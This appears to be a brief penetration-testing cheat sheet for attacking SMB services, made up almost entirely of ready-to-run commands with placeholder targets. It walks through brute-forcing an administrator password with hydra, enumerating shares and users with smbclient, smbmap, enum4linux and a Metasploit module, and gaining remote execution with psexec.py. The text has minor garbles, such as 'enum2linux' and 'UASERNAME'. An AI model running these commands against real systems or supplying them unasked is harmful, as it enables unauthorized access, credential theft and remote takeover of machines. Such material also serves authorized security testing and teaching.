Skip to content

Targeting SMB

  1. Identify usernames which will be used to perform a brute-force attack. Example:
hydra -l administrator -P PASSWORDS_LIST TARGET_IP smb
  1. Once credentials are obtained, enumerate shares:
smbclient -L TARGET_IP -U USERNAME
# Enter password when requested

smbmap -u USERNAME -p PASSWORD -H TARGET_IP
  1. Enumerate other users on the system:
# Using enum2linux
enum4linux -u UASERNAME -P PASSWORD TARGET_IP

# Using Metasploit
use auxiliary/scanner/smb/smb_enumusers
````

4. Use psexec.py
```bash
psexec.py USERNAME@TARGET_IP
# Enter password